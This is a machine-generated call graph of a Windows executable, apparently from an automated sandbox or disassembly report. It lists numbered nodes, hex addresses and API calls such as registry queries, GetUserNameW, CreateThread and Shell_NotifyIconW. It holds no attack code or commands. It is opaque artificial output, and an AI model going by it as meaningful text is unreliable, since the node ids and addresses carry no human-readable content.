100163->100167 100166 8c304d 8 API calls 3 library calls 100166->100128 100170 8dd5b3 100167->100170 100171 8dd5af 100167->100171 100169 8c0268 100169->100126 100169->100166 100170->100171 100173 8d4f8b 100170->100173 100185 8c0e1c 100171->100185 100174 8d4f97 CallCatchBlock 100173->100174 100192 8d32ee EnterCriticalSection 100174->100192 100176 8d4f9e 100193 8d543f 100176->100193 100178 8d4fad 100184 8d4fbc 100178->100184 100206 8d4e1f 29 API calls 100178->100206 100181 8d4fb7 100207 8d4ed5 GetStdHandle GetFileType 100181->100207 100183 8d4fcd __fread_nolock 100183->100170 100208 8d4fd8 LeaveCriticalSection _abort 100184->100208 100186 8c0e25 100185->100186 100187 8c0e27 IsProcessorFeaturePresent 100185->100187 100186->100169 100189 8c0fee 100187->100189 100237 8c0fb1 SetUnhandledExceptionFilter UnhandledExceptionFilter GetCurrentProcess TerminateProcess 100189->100237 100191 8c10d1 100191->100169 100192->100176 100194 8d544b CallCatchBlock 100193->100194 100195 8d546f 100194->100195 100196 8d5458 100194->100196 100209 8d32ee EnterCriticalSection 100195->100209 100217 8cf669 20 API calls __dosmaperr 100196->100217 100199 8d545d 100218 8d2b7c 26 API calls __fread_nolock 100199->100218 100201 8d5467 __fread_nolock 100201->100178 100202 8d54a7 100219 8d54ce LeaveCriticalSection _abort 100202->100219 100204 8d547b 100204->100202 100210 8d5390 100204->100210 100206->100181 100207->100184 100208->100183 100209->100204 100220 8d500d 100210->100220 100213 8d53a2 100216 8d53af 100213->100216 100227 8d3795 11 API calls 2 library calls 100213->100227 100214 8d5401 100214->100204 100228 8d2d58 100216->100228 100217->100199 100218->100201 100219->100201 100225 8d501a __dosmaperr 100220->100225 100221 8d505a 100235 8cf669 20 API calls __dosmaperr 100221->100235 100222 8d5045 RtlAllocateHeap 100223 8d5058 100222->100223 100222->100225 100223->100213 100225->100221 100225->100222 100234 8c523d 7 API calls 2 library calls 100225->100234 100227->100213 100229 8d2d8c __dosmaperr 100228->100229 100230 8d2d63 RtlFreeHeap 100228->100230 100229->100214 100230->100229 100231 8d2d78 100230->100231 100236 8cf669 20 API calls __dosmaperr 100231->100236 100233 8d2d7e GetLastError 100233->100229 100234->100225 100235->100223 100236->100233 100237->100191 100239 8c0cfc GetStartupInfoW 100238->100239 100239->100140 100241 8c52df CallCatchBlock 100240->100241 100303 8d32ee EnterCriticalSection 100241->100303 100243 8c52ea pre_c_initialization 100304 8c532a 100243->100304 100245 8c531f __fread_nolock 100245->100145 100247 8c535f 100246->100247 100248 8c5345 100246->100248 100247->100147 100248->100247 100308 8cf669 20 API calls __dosmaperr 100248->100308 100250 8c534f 100309 8d2b7c 26 API calls __fread_nolock 100250->100309 100252 8c535a 100252->100147 100253->100149 100255 8a3322 __wsopen_s 100254->100255 100256 8abf07 8 API calls 100255->100256 100257 8a332e GetCurrentDirectoryW 100256->100257 100310 8a4f60 100257->100310 100303->100243 100307 8d3336 LeaveCriticalSection 100304->100307 100306 8c5331 100306->100245 100307->100306 100308->100250 100309->100252 100311 8abf07 8 API calls 100310->100311 100312 8a4f76 100311->100312 100432 8a60f5 100312->100432 100314 8a4f94 100315 8abceb 8 API calls 100314->100315 100316 8a4fa8 100315->100316 100317 8abe6d 8 API calls 100316->100317 100318 8a4fb3 100317->100318 100446 8a88e8 100318->100446 100321 8ab25f 8 API calls 100322 8a4fcc 100321->100322 100323 8abdc1 39 API calls 100322->100323 100324 8a4fdc 100323->100324 100325 8ab25f 8 API calls 100324->100325 100326 8a5002 100325->100326 100327 8abdc1 39 API calls 100326->100327 100328 8a5011 100327->100328 100329 8abf07 8 API calls 100328->100329 100330 8a502f 100329->100330 100449 8a5151 100330->100449 100333 8c4db8 _strftime 40 API calls 100433 8a6102 __wsopen_s 100432->100433 100434 8a84b7 8 API calls 100433->100434 100435 8a6134 100433->100435 100434->100435 100436 8a627c 8 API calls 100435->100436 100445 8a616a 100435->100445 100436->100435 100437 8ab25f 8 API calls 100438 8a6261 100437->100438 100441 8a684e 8 API calls 100438->100441 100439 8ab25f 8 API calls 100439->100445 100440 8a627c 8 API calls 100440->100445 100442 8a626d 100441->100442 100442->100314 100444 8a6238 100444->100437 100444->100442 100445->100439 100445->100440 100445->100444 100466 8a684e 100445->100466 100447 8c016b 8 API calls 100446->100447 100448 8a4fbf 100447->100448 100448->100321 100450 8a515b 100449->100450 100451 8a5179 100449->100451 100452 8a503b 100450->100452 100454 8abe6d 8 API calls 100450->100454 100453 8a84b7 8 API calls 100451->100453 100452->100333 100453->100452 100454->100452 100467 8a685d 100466->100467 100471 8a687e __fread_nolock 100466->100471 100470 8c019b 8 API calls 100467->100470 100468 8c016b 8 API calls 100469 8a6891 100468->100469 100469->100445 100470->100471 100471->100468 101174 8c4f6b IsInExceptionSpec 101173->101174 101175 8c4f84 101174->101175 101176 8c4f72 101174->101176 101197 8d32ee EnterCriticalSection 101175->101197 101212 8c50b9 GetModuleHandleW 101176->101212 101179 8c4f77 101179->101175 101213 8c50fd GetModuleHandleExW 101179->101213 101180 8c5029 101201 8c5069 101180->101201 101183 8c5000 101186 8c5018 101183->101186 101192 8d27b1 _abort 5 API calls 101183->101192 101193 8d27b1 _abort 5 API calls 101186->101193 101187 8c5046 101204 8c5078 101187->101204 101188 8c5072 101221 8e20c9 5 API calls __ehhandler$?_ScheduleContinuationTask@_Task_impl_base@details@Concurrency@@QAEXPAU_ContinuationTaskHandleBase@23@@Z 101188->101221 101192->101186 101193->101180 101194 8c4f8b 101194->101180 101194->101183 101198 8d2538 101194->101198 101197->101194 101222 8d2271 101198->101222 101241 8d3336 LeaveCriticalSection 101201->101241 101203 8c5042 101203->101187 101203->101188 101242 8d399c 101204->101242 101207 8c50a6 101210 8c50fd _abort 8 API calls 101207->101210 101208 8c5086 GetPEB 101208->101207 101209 8c5096 GetCurrentProcess TerminateProcess 101208->101209 101209->101207 101211 8c50ae ExitProcess 101210->101211 101212->101179 101214 8c514a 101213->101214 101215 8c5127 GetProcAddress 101213->101215 101216 8c5159 101214->101216 101217 8c5150 FreeLibrary 101214->101217 101218 8c513c 101215->101218 101219 8c0e1c __ehhandler$?_ScheduleContinuationTask@_Task_impl_base@details@Concurrency@@QAEXPAU_ContinuationTaskHandleBase@23@@Z 5 API calls 101216->101219 101217->101216 101218->101214 101220 8c4f83 101219->101220 101220->101175 101225 8d2220 101222->101225 101224 8d2295 101224->101183 101226 8d222c CallCatchBlock 101225->101226 101233 8d32ee EnterCriticalSection 101226->101233 101228 8d223a 101234 8d22c1 101228->101234 101232 8d2258 __fread_nolock 101232->101224 101233->101228 101235 8d22e1 101234->101235 101238 8d22e9 101234->101238 101236 8c0e1c __ehhandler$?_ScheduleContinuationTask@_Task_impl_base@details@Concurrency@@QAEXPAU_ContinuationTaskHandleBase@23@@Z 5 API calls 101235->101236 101237 8d2247 101236->101237 101240 8d2265 LeaveCriticalSection _abort 101237->101240 101238->101235 101239 8d2d58 _free 20 API calls 101238->101239 101239->101235 101240->101232 101241->101203 101243 8d39b7 101242->101243 101244 8d39c1 101242->101244 101246 8c0e1c __ehhandler$?_ScheduleContinuationTask@_Task_impl_base@details@Concurrency@@QAEXPAU_ContinuationTaskHandleBase@23@@Z 5 API calls 101243->101246 101249 8d3367 5 API calls 2 library calls 101244->101249 101247 8c5082 101246->101247 101247->101207 101247->101208 101248 8d39d8 101248->101243 101249->101248 101250 8e27a2 101253 8a2a52 101250->101253 101254 8e39f4 DestroyWindow 101253->101254 101255 8a2a91 mciSendStringW 101253->101255 101267 8e3a00 101254->101267 101256 8a2d08 101255->101256 101257 8a2aad 101255->101257 101256->101257 101258 8a2d17 UnregisterHotKey 101256->101258 101259 8a2abb 101257->101259 101257->101267 101258->101256 101285 8a2e70 101259->101285 101262 8e3a45 101266 8e3a69 101262->101266 101268 8e3a58 FreeLibrary 101262->101268 101263 8e3a1e FindClose 101263->101267 101264 8a2ad0 101264->101266 101272 8a2ade 101264->101272 101265 8a7953 CloseHandle 101265->101267 101269 8e3a7d VirtualFree 101266->101269 101274 8a2b4b 101266->101274 101267->101262 101267->101263 101267->101265 101268->101262 101269->101266 101270 8a2b3a CoUninitialize 101270->101274 101271 8e3ac5 101277 8e3ad4 ISource 101271->101277 101291 913c45 6 API calls ISource 101271->101291 101272->101270 101274->101271 101275 8a2b56 101274->101275 101289 8a2f86 VirtualFreeEx CloseHandle 101275->101289 101281 8e3b63 101277->101281 101292 906d63 8 API calls ISource 101277->101292 101279 8a2b7c 101279->101277 101280 8a2c61 101279->101280 101280->101281 101282 8a2caf 101280->101282 101281->101281 101282->101281 101290 8a2eb8 CloseHandle InternetCloseHandle InternetCloseHandle WaitForSingleObject 101282->101290 101284 8a2d03 101286 8a2e7d 101285->101286 101287 8a2ac2 101286->101287 101293 9078b9 8 API calls 101286->101293 101287->101262 101287->101264 101289->101279 101290->101284 101291->101271 101292->101277 101293->101286 101294 8f7ea1 101295 8b2e3b ISource 101294->101295 101295->101294 101297 8b2edd 101295->101297 101298 8be29c 8 API calls ISource 101295->101298 101298->101295 101299 8a1044 101304 8a2735 101299->101304 101301 8a104a 101340 8c0433 29 API calls __onexit 101301->101340 101303 8a1054 101341 8a29da 101304->101341 101308 8a27ac 101309 8abf07 8 API calls 101308->101309 101310 8a27b6 101309->101310 101311 8abf07 8 API calls 101310->101311 101312 8a27c0 101311->101312 101313 8abf07 8 API calls 101312->101313 101314 8a27ca 101313->101314 101315 8abf07 8 API calls 101314->101315 101316 8a2808 101315->101316 101317 8abf07 8 API calls 101316->101317 101318 8a28d4 101317->101318 101351 8a2d5e 101318->101351 101322 8a2906 101323 8abf07 8 API calls 101322->101323 101324 8a2910 101323->101324 101325 8b30e0 9 API calls 101324->101325 101326 8a293b 101325->101326 101372 8a30ed 101326->101372 101328 8a2957 101329 8a2967 GetStdHandle 101328->101329 101330 8e39c1 101329->101330 101331 8a29bc 101329->101331 101330->101331 101332 8e39ca 101330->101332 101334 8a29c9 OleInitialize 101331->101334 101333 8c016b 8 API calls 101332->101333 101335 8e39d1 101333->101335 101334->101301 101379 9109d9 InitializeCriticalSectionAndSpinCount InterlockedExchange GetCurrentProcess GetCurrentProcess DuplicateHandle 101335->101379 101337 8e39da 101380 911200 CreateThread 101337->101380 101339 8e39e6 CloseHandle 101339->101331 101340->101303 101381 8a2a33 101341->101381 101344 8a2a33 8 API calls 101345 8a2a12 101344->101345 101346 8abf07 8 API calls 101345->101346 101347 8a2a1e 101346->101347 101348 8a84b7 8 API calls 101347->101348 101349 8a276b 101348->101349 101350 8a3205 6 API calls 101349->101350 101350->101308 101352 8abf07 8 API calls 101351->101352 101353 8a2d6e 101352->101353 101354 8abf07 8 API calls 101353->101354 101355 8a2d76 101354->101355 101356 8abf07 8 API calls 101355->101356 101357 8a2d91 101356->101357 101358 8c016b 8 API calls 101357->101358 101359 8a28de 101358->101359 101360 8a318c 101359->101360 101361 8a319a 101360->101361 101362 8abf07 8 API calls 101361->101362 101363 8a31a5 101362->101363 101364 8abf07 8 API calls 101363->101364 101365 8a31b0 101364->101365 101366 8abf07 8 API calls 101365->101366 101367 8a31bb 101366->101367 101368 8abf07 8 API calls 101367->101368 101369 8a31c6 101368->101369 101370 8c016b 8 API calls 101369->101370 101371 8a31d8 RegisterWindowMessageW 101370->101371 101371->101322 101373 8e3c69 101372->101373 101374 8a30fd 101372->101374 101388 913b63 8 API calls 101373->101388 101376 8c016b 8 API calls 101374->101376 101377 8a3105 101376->101377 101377->101328 101378 8e3c74 101379->101337 101380->101339 101389 9111e6 14 API calls 101380->101389 101382 8abf07 8 API calls 101381->101382 101383 8a2a3e 101382->101383 101384 8abf07 8 API calls 101383->101384 101385 8a2a46 101384->101385 101386 8abf07 8 API calls 101385->101386 101387 8a2a08 101386->101387 101387->101344 101388->101378 101390 8a105b 101395 8a522e 101390->101395 101392 8a106a 101426 8c0433 29 API calls __onexit 101392->101426 101394 8a1074 101396 8a523e __wsopen_s 101395->101396 101397 8abf07 8 API calls 101396->101397 101398 8a52f4 101397->101398 101399 8a551b 10 API calls 101398->101399 101400 8a52fd 101399->101400 101427 8a51bf 101400->101427 101403 8a65a4 8 API calls 101404 8a5316 101403->101404 101405 8a684e 8 API calls 101404->101405 101406 8a5325 101405->101406 101407 8abf07 8 API calls 101406->101407 101408 8a532e 101407->101408 101409 8abceb 8 API calls 101408->101409 101410 8a5337 RegOpenKeyExW 101409->101410 101411 8e4bc0 RegQueryValueExW 101410->101411 101416 8a5359 101410->101416 101412 8e4bdd 101411->101412 101413 8e4c56 RegCloseKey 101411->101413 101414 8c019b 8 API calls 101412->101414 101413->101416 101425 8e4c68 _wcslen 101413->101425 101415 8e4bf6 101414->101415 101417 8a41a6 8 API calls 101415->101417 101416->101392 101418 8e4c01 RegQueryValueExW 101417->101418 101420 8e4c1e 101418->101420 101422 8e4c38 ISource 101418->101422 101419 8a627c 8 API calls 101419->101425 101421 8a84b7 8 API calls 101420->101421 101421->101422 101422->101413 101423 8ab25f 8 API calls 101423->101425 101424 8a684e 8 API calls 101424->101425 101425->101416 101425->101419 101425->101423 101425->101424 101426->101394 101428 8e22f0 __wsopen_s 101427->101428 101429 8a51cc GetFullPathNameW 101428->101429 101430 8a51ee 101429->101430 101431 8a84b7 8 API calls 101430->101431 101432 8a520c 101431->101432 101432->101403 101433 8a1098 101438 8a5d78 101433->101438 101437 8a10a7 101439 8abf07 8 API calls 101438->101439 101440 8a5d8f GetVersionExW 101439->101440 101441 8a84b7 8 API calls 101440->101441 101442 8a5ddc 101441->101442 101443 8a96d9 8 API calls 101442->101443 101445 8a5e12 101442->101445 101444 8a5e06 101443->101444 101447 8a79ed 8 API calls 101444->101447 101446 8a5ecc GetCurrentProcess IsWow64Process 101445->101446 101453 8e50ad 101445->101453 101448 8a5ee8 101446->101448 101447->101445 101449 8a5f00 LoadLibraryA 101448->101449 101450 8e50f2 GetSystemInfo 101448->101450 101451 8a5f4d GetSystemInfo 101449->101451 101452 8a5f11 GetProcAddress 101449->101452 101455 8a5f27 101451->101455 101452->101451 101454 8a5f21 GetNativeSystemInfo 101452->101454 101454->101455 101456 8a5f2b FreeLibrary 101455->101456 101457 8a109d 101455->101457 101456->101457 101458 8c0433 29 API calls __onexit 101457->101458 101458->101437 101459 8fe6dd 101460 8fe68a 101459->101460 101463 90e753 SHGetFolderPathW 101460->101463 101464 8a84b7 8 API calls 101463->101464 101465 8fe693 101464->101465 101466 8a367c 101469 8a3696 101466->101469 101470 8a36ad 101469->101470 101471 8a36b2 101470->101471 101472 8a3711 101470->101472 101509 8a370f 101470->101509 101473 8a378b PostQuitMessage 101471->101473 101474 8a36bf 101471->101474 101476 8e3dce 101472->101476 101477 8a3717 101472->101477 101481 8a3690 101473->101481 101478 8a36ca 101474->101478 101479 8e3e3b 101474->101479 101475 8a36f6 DefWindowProcW 101475->101481 101525 8a2f24 10 API calls 101476->101525 101482 8a371e 101477->101482 101483 8a3743 SetTimer RegisterWindowMessageW 101477->101483 101484 8a36d4 101478->101484 101485 8a3795 101478->101485 101530 90c80c 65 API calls ___scrt_fastfail 101479->101530 101489 8e3d6f 101482->101489 101490 8a3727 KillTimer 101482->101490 101483->101481 101486 8a376c CreatePopupMenu 101483->101486 101491 8a36df 101484->101491 101492 8e3e20 101484->101492 101514 8bfcbb 101485->101514 101486->101481 101488 8e3def 101526 8bf1c6 40 API calls 101488->101526 101496 8e3daa MoveWindow 101489->101496 101497 8e3d74 101489->101497 101521 8a388e Shell_NotifyIconW ___scrt_fastfail 101490->101521 101500 8a36ea 101491->101500 101501 8a3779 101491->101501 101492->101475 101529 901367 8 API calls 101492->101529 101493 8e3e4d 101493->101475 101493->101481 101496->101481 101502 8e3d7a 101497->101502 101503 8e3d99 SetFocus 101497->101503 101499 8a373a 101522 8a572c DeleteObject DestroyWindow 101499->101522 101500->101475 101527 8a388e Shell_NotifyIconW ___scrt_fastfail 101500->101527 101523 8a37a6 75 API calls ___scrt_fastfail 101501->101523 101502->101500 101507 8e3d83 101502->101507 101503->101481 101524 8a2f24 10 API calls 101507->101524 101509->101475 101510 8a3789 101510->101481 101512 8e3e14 101528 8a38f2 60 API calls ___scrt_fastfail 101512->101528 101515 8bfd59 101514->101515 101516 8bfcd3 ___scrt_fastfail 101514->101516 101515->101481 101531 8a5f59 101516->101531 101518 8bfd42 KillTimer SetTimer 101518->101515 101519 8bfcfa 101519->101518 101520 8ffdcb Shell_NotifyIconW 101519->101520 101520->101518 101521->101499 101522->101481 101523->101510 101524->101481 101525->101488 101526->101500 101527->101512 101528->101509 101529->101509 101530->101493 101532 8a5f76 101531->101532 101551 8a6058 101531->101551 101533 8a7a14 8 API calls 101532->101533 101534 8a5f84 101533->101534 101535 8a5f91 101534->101535 101536 8e5101 LoadStringW 101534->101536 101537 8a84b7 8 API calls 101535->101537 101539 8e511b 101536->101539 101538 8a5fa6 101537->101538 101540 8a5fb3 101538->101540 101547 8e5137 101538->101547 101542 8abe6d 8 API calls 101539->101542 101545 8a5fd9 ___scrt_fastfail 101539->101545 101540->101539 101541 8a5fbd 101540->101541 101543 8a65a4 8 API calls 101541->101543 101542->101545 101544 8a5fcb 101543->101544 101546 8a7af4 8 API calls 101544->101546 101549 8a603e Shell_NotifyIconW 101545->101549 101546->101545 101547->101545 101548 8e517a 101547->101548 101550 8abf07 8 API calls 101547->101550 101562 8bfe8f 51 API calls 101548->101562 101549->101551 101552 8e5161 101550->101552 101551->101519 101561 90a265 9 API calls 101552->101561 101555 8e5199 101558 8a65a4 8 API calls 101555->101558 101556 8e516c 101557 8a7af4 8 API calls 101556->101557 101557->101548 101559 8e51aa 101558->101559 101560 8a65a4 8 API calls 101559->101560 101560->101545 101561->101556 101562->101555 101563 8fe5f8 GetUserNameW 101564 8fe610 101563->101564 101565 8a1033 101570 8a6686 101565->101570 101569 8a1042 101571 8abf07 8 API calls 101570->101571 101572 8a66f4 101571->101572 101578 8a55cc 101572->101578 101575 8a6791 101576 8a1038 101575->101576 101581 8a68e6 8 API calls __fread_nolock 101575->101581 101577 8c0433 29 API calls __onexit 101576->101577 101577->101569 101582 8a55f8 101578->101582 101581->101575 101583 8a55eb 101582->101583 101584 8a5605 101582->101584 101583->101575 101584->101583 101585 8a560c RegOpenKeyExW 101584->101585 101585->101583 101586 8a5626 RegQueryValueExW 101585->101586 101587 8a565c RegCloseKey 101586->101587 101588 8a5647 101586->101588 101587->101583 101588->101587 101589 8af470 101592 8b9fa5 101589->101592 101591 8af47c 101593 8b9fc6 101592->101593 101599 8ba023 101592->101599 101595 8b02f0 253 API calls 101593->101595 101593->101599 101598 8b9ff7 101595->101598 101596 8f800f 101596->101596 101597 8ba067 101597->101591 101598->101597 101598->101599 101600 8abe6d 8 API calls 101598->101600 101599->101597 101601 913ef6 81 API calls __wsopen_s 101599->101601 101600->101599 101601->101596 101602 8bf9b1 101603 8bf9bb 101602->101603 101605 8bf9dc 101602->101605 101604 8ac34b 8 API calls 101603->101604 101606 8bf9cb 101604->101606 101609 8ffadc 101605->101609 101611 9055d9 8 API calls ISource 101605->101611 101608 8ac34b 8 API calls 101606->101608 101610 8bf9db 101608->101610 101611->101605 101612 8f55f4 101613 8be34f 8 API calls 101612->101613 101614 8f560a 101613->101614 101618 8f5685 101614->101618 101621 8ba9e5 9 API calls 101614->101621 101616 8f5665 101616->101618 101622 912393 8 API calls 101616->101622 101619 8f617b 101618->101619 101623 913ef6 81 API calls __wsopen_s 101618->101623 101621->101616 101622->101618 101623->101619 101624 8f3fb3 101640 8aee60 ISource 101624->101640 101625 8af1c1 PeekMessageW 101625->101640 101626 8aeeb7 GetInputState 101626->101625 101626->101640 101628 8f3271 TranslateAcceleratorW 101628->101640 101629 8af0b4 timeGetTime 101629->101640 101630 8af23f PeekMessageW 101630->101640 101631 8af223 TranslateMessage DispatchMessageW 101631->101630 101632 8af25f Sleep 101632->101640 101633 8f4127 Sleep 101647 8f4004 101633->101647 101635 8f338d timeGetTime 101692 8ba9e5 9 API calls 101635->101692 101637 90dc9c 46 API calls 101637->101647 101639 8f41be GetExitCodeProcess 101642 8f41ea CloseHandle 101639->101642 101643 8f41d4 WaitForSingleObject 101639->101643 101640->101625 101640->101626 101640->101628 101640->101629 101640->101630 101640->101631 101640->101632 101640->101633 101640->101635 101645 8af085 101640->101645 101640->101647 101653 8b02f0 253 API calls 101640->101653 101654 8b2ad0 253 API calls 101640->101654 101656 8af400 101640->101656 101663 8af680 101640->101663 101686 8bf2a5 101640->101686 101691 8bf27e timeGetTime 101640->101691 101693 914384 8 API calls 101640->101693 101694 913ef6 81 API calls __wsopen_s 101640->101694 101641 93331e GetForegroundWindow 101641->101647 101642->101647 101643->101640 101643->101642 101646 8f3cf5 101646->101645 101647->101637 101647->101639 101647->101640 101647->101641 101647->101646 101648 8f425c Sleep 101647->101648 101695 925fb5 8 API calls 101647->101695 101696 90f1a7 QueryPerformanceCounter QueryPerformanceFrequency Sleep QueryPerformanceCounter Sleep 101647->101696 101697 8bf27e timeGetTime 101647->101697 101648->101640 101653->101640 101654->101640 101657 8af41f 101656->101657 101659 8af433 101656->101659 101698 8ae910 101657->101698 101731 913ef6 81 API calls __wsopen_s 101659->101731 101660 8af42a 101660->101640 101662 8f4528 101662->101662 101664 8af6c0 101663->101664 101682 8af78c ISource 101664->101682 101740 8c05d2 5 API calls __Init_thread_wait 101664->101740 101667 8f457d 101669 8abf07 8 API calls 101667->101669 101667->101682 101668 8abf07 8 API calls 101668->101682 101670 8f4597 101669->101670 101741 8c0433 29 API calls __onexit 101670->101741 101671 8abdc1 39 API calls 101671->101682 101674 8f45a1 101742 8c0588 EnterCriticalSection LeaveCriticalSection SetEvent ResetEvent 101674->101742 101677 8b02f0 253 API calls 101677->101682 101679 8abe6d 8 API calls 101679->101682 101680 8afa91 101680->101640 101681 8b1c50 8 API calls 101681->101682 101682->101668 101682->101671 101682->101677 101682->101679 101682->101680 101682->101681 101684 913ef6 81 API calls 101682->101684 101739 8bb2d6 253 API calls 101682->101739 101743 8c05d2 5 API calls __Init_thread_wait 101682->101743 101744 8c0433 29 API calls __onexit 101682->101744 101745 8c0588 EnterCriticalSection LeaveCriticalSection SetEvent ResetEvent 101682->101745 101746 925131 101 API calls 101682->101746 101747 92721e 253 API calls 101682->101747 101684->101682 101687 8bf2b8 101686->101687 101688 8bf2c1 101686->101688 101687->101640 101688->101687 101689 8bf2e5 IsDialogMessageW 101688->101689 101690 8ff83b GetClassLongW 101688->101690 101689->101687 101689->101688 101690->101688 101690->101689 101691->101640 101692->101640 101693->101640 101694->101640 101695->101647 101696->101647 101697->101647 101699 8ae92b 101698->101699 101700 8b02f0 253 API calls 101699->101700 101721 8ae94d 101700->101721 101701 8f3176 101738 913ef6 81 API calls __wsopen_s 101701->101738 101703 8ae9bb ISource 101703->101660 101704 8aed85 101704->101703 101715 8c019b 8 API calls 101704->101715 101705 8aea73 101705->101704 101707 8aea7e 101705->101707 101706 8aecaf 101708 8f3167 101706->101708 101709 8aecc4 101706->101709 101711 8c016b 8 API calls 101707->101711 101737 926062 8 API calls 101708->101737 101713 8c016b 8 API calls 101709->101713 101710 8aeb68 101718 8c019b 8 API calls 101710->101718 101717 8aea85 __fread_nolock 101711->101717 101724 8aeb1a 101713->101724 101714 8c016b 8 API calls 101714->101721 101715->101717 101716 8aead9 ISource __fread_nolock 101716->101706 101723 8f3156 101716->101723 101716->101724 101727 8f3131 101716->101727 101729 8f310f 101716->101729 101733 8a4485 253 API calls 101716->101733 101719 8c016b 8 API calls 101717->101719 101720 8aeaa6 101717->101720 101718->101716 101719->101720 101720->101716 101732 8ad210 253 API calls 101720->101732 101721->101701 101721->101703 101721->101704 101721->101705 101721->101710 101721->101714 101721->101716 101736 913ef6 81 API calls __wsopen_s 101723->101736 101724->101660 101735 913ef6 81 API calls __wsopen_s 101727->101735 101734 913ef6 81 API calls __wsopen_s 101729->101734 101731->101662 101732->101716 101733->101716 101734->101724 101735->101724 101736->101724 101737->101701 101738->101703 101739->101682 101740->101667 101741->101674 101742->101682 101743->101682 101744->101682 101745->101682 101746->101682 101747->101682 101748 8c94d1 101758 8ce048 101748->101758 101752 8c94de 101753 8d510a 20 API calls 101752->101753 101754 8c94ed DeleteCriticalSection 101753->101754 101754->101752 101755 8c9508 101754->101755 101756 8d2d58 _free 20 API calls 101755->101756 101757 8c9513 101756->101757 101771 8ce051 101758->101771 101760 8c94d9 101761 8d506a 101760->101761 101762 8d5076 CallCatchBlock 101761->101762 101788 8d32ee EnterCriticalSection 101762->101788 101764 8d50ec 101789 8d5101 101764->101789 101766 8d5081 101766->101764 101768 8d50c0 DeleteCriticalSection 101766->101768 101769 8cea08 67 API calls 101766->101769 101767 8d50f8 __fread_nolock 101767->101752 101770 8d2d58 _free 20 API calls 101768->101770 101769->101766 101770->101766 101772 8ce05d CallCatchBlock 101771->101772 101781 8d32ee EnterCriticalSection 101772->101781 101774 8ce100 101782 8ce120 101774->101782 101778 8ce10c __fread_nolock 101778->101760 101779 8ce001 66 API calls 101780 8ce06c 101779->101780 101780->101774 101780->101779 101785 8c951d EnterCriticalSection 101780->101785 101786 8ce0f6 LeaveCriticalSection __fread_nolock 101780->101786 101781->101780 101787 8d3336 LeaveCriticalSection 101782->101787 101784 8ce127 101784->101778 101785->101780 101786->101780 101787->101784 101788->101766 101792 8d3336 LeaveCriticalSection 101789->101792 101791 8d5108 101791->101767 101792->101791 101793 8d8792 101798 8d854e 101793->101798 101796 8d87ba 101803 8d857f try_get_first_available_module 101798->101803 101800 8d877e 101814 8d2b7c 26 API calls __fread_nolock 101800->101814 101802 8d86d3 101802->101796 101810 8e0d24 101802->101810 101804 8c919b 40 API calls 101803->101804 101809 8d86c8 101803->101809 101805 8d871c 101804->101805 101806 8c919b 40 API calls 101805->101806 101805->101809 101807 8d873b 101806->101807 101808 8c919b 40 API calls 101807->101808 101807->101809 101808->101809 101809->101802 101813 8cf669 20 API calls __dosmaperr 101809->101813 101815 8e0421 101810->101815 101812 8e0d3f 101812->101796 101813->101800 101814->101802 101818 8e042d CallCatchBlock 101815->101818 101816 8e043b 101873 8cf669 20 API calls __dosmaperr 101816->101873 101818->101816 101820 8e0474 101818->101820 101819 8e0440 101874 8d2b7c 26 API calls __fread_nolock 101819->101874 101826 8e09fb 101820->101826 101825 8e044a __fread_nolock 101825->101812 101876 8e07cf 101826->101876 101829 8e0a2d 101908 8cf656 20 API calls __dosmaperr 101829->101908 101830 8e0a46 101894 8d55b1 101830->101894 101833 8e0a32 101909 8cf669 20 API calls __dosmaperr 101833->101909 101834 8e0a4b 101835 8e0a6b 101834->101835 101836 8e0a54 101834->101836 101907 8e073a CreateFileW 101835->101907 101910 8cf656 20 API calls __dosmaperr 101836->101910 101840 8e0a59 101911 8cf669 20 API calls __dosmaperr 101840->101911 101842 8e0b21 GetFileType 101844 8e0b2c GetLastError 101842->101844 101845 8e0b73 101842->101845 101843 8e0af6 GetLastError 101913 8cf633 20 API calls __dosmaperr 101843->101913 101914 8cf633 20 API calls __dosmaperr 101844->101914 101916 8d54fa 21 API calls 2 library calls 101845->101916 101846 8e0aa4 101846->101842 101846->101843 101912 8e073a CreateFileW 101846->101912 101849 8e0b3a CloseHandle 101849->101833 101851 8e0b63 101849->101851 101915 8cf669 20 API calls __dosmaperr 101851->101915 101853 8e0ae9 101853->101842 101853->101843 101855 8e0b94 101857 8e0be0 101855->101857 101917 8e094b 72 API calls 3 library calls 101855->101917 101856 8e0b68 101856->101833 101861 8e0c0d 101857->101861 101918 8e04ed 72 API calls 4 library calls 101857->101918 101860 8e0c06 101860->101861 101863 8e0c1e 101860->101863 101919 8d8a3e 101861->101919 101864 8e0498 101863->101864 101865 8e0c9c CloseHandle 101863->101865 101875 8e04c1 LeaveCriticalSection __wsopen_s 101864->101875 101934 8e073a CreateFileW 101865->101934 101867 8e0cc7 101868 8e0cfd 101867->101868 101869 8e0cd1 GetLastError 101867->101869 101868->101864 101935 8cf633 20 API calls __dosmaperr 101869->101935 101871 8e0cdd 101936 8d56c3 21 API calls 2 library calls 101871->101936 101873->101819 101874->101825 101875->101825 101877 8e080a 101876->101877 101878 8e07f0 101876->101878 101937 8e075f 101877->101937 101878->101877 101944 8cf669 20 API calls __dosmaperr 101878->101944 101881 8e07ff 101945 8d2b7c 26 API calls __fread_nolock 101881->101945 101883 8e0842 101884 8e0871 101883->101884 101946 8cf669 20 API calls __dosmaperr 101883->101946 101892 8e08c4 101884->101892 101948 8cda9d 26 API calls 2 library calls 101884->101948 101887 8e08bf 101889 8e093e 101887->101889 101887->101892 101888 8e0866 101947 8d2b7c 26 API calls __fread_nolock 101888->101947 101949 8d2b8c 11 API calls _abort 101889->101949 101892->101829 101892->101830 101893 8e094a 101895 8d55bd CallCatchBlock 101894->101895 101952 8d32ee EnterCriticalSection 101895->101952 101897 8d560b 101953 8d56ba 101897->101953 101899 8d55c4 101899->101897 101900 8d55e9 101899->101900 101904 8d5657 EnterCriticalSection 101899->101904 101902 8d5390 __wsopen_s 21 API calls 101900->101902 101901 8d5634 __fread_nolock 101901->101834 101903 8d55ee 101902->101903 101903->101897 101956 8d54d7 EnterCriticalSection 101903->101956 101904->101897 101905 8d5664 LeaveCriticalSection 101904->101905 101905->101899 101907->101846 101908->101833 101909->101864 101910->101840 101911->101833 101912->101853 101913->101833 101914->101849 101915->101856 101916->101855 101917->101857 101918->101860 101920 8d5754 __wsopen_s 26 API calls 101919->101920 101923 8d8a4e 101920->101923 101921 8d8a54 101958 8d56c3 21 API calls 2 library calls 101921->101958 101923->101921 101924 8d8a86 101923->101924 101927 8d5754 __wsopen_s 26 API calls 101923->101927 101924->101921 101925 8d5754 __wsopen_s 26 API calls 101924->101925 101929 8d8a92 CloseHandle 101925->101929 